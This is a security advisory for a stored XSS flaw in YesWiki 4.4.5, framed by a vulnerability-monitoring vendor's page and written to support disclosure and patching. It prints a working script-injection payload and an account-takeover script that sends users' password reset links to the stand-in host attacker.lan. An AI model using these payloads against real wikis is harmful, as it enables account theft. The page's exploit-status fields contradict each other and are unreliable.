Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-w59h-3x3q-3p6j

HighCVSS 7.6 / 10
Published Jan 21, 2025·Last modified Jan 21, 2025
Affected Components(0)

No affected components available

Description

Authenticated Stored XSS in YesWiki <= 4.4.5

Summary

It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.

This Proof of Concept has been performed using the followings:

  • YesWiki v4.4.5 (doryphore-dev branch, latest)
  • Docker environnment (docker/docker-compose.yml)
  • Docker v27.5.0
  • Default installation

Details

The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.

This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().

public function showFileNotExits()
{
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';
}

The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.

PoC

1. Simple XSS

Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:

On a comment:

poc1 poc2

On a page:

poc3 poc4

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Posting a comment using this specially crafted payload with a user account:

poc5

Allows our administrator account's password reset link to be sent to the listener of the attacker:

poc7 poc8

Therefore giving us access to an successful password reset for any account triggering the XSS:

poc9

Impact

This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures

  • Sanitize properly the filename attribute
public function showFileNotExits()
{
    $filename = htmlspecialchars($this->file);
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';
}
  • Implement a stronger password reset mechanism through:

    • Not showing a password reset link to an already logged-in user.
    • Generating a password reset link when a reset is requested by a user, and only send it by mail.
    • Add an expiration/due date to the token
  • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)

The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

Risk Scores
Base Score
7.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.0

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.40%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard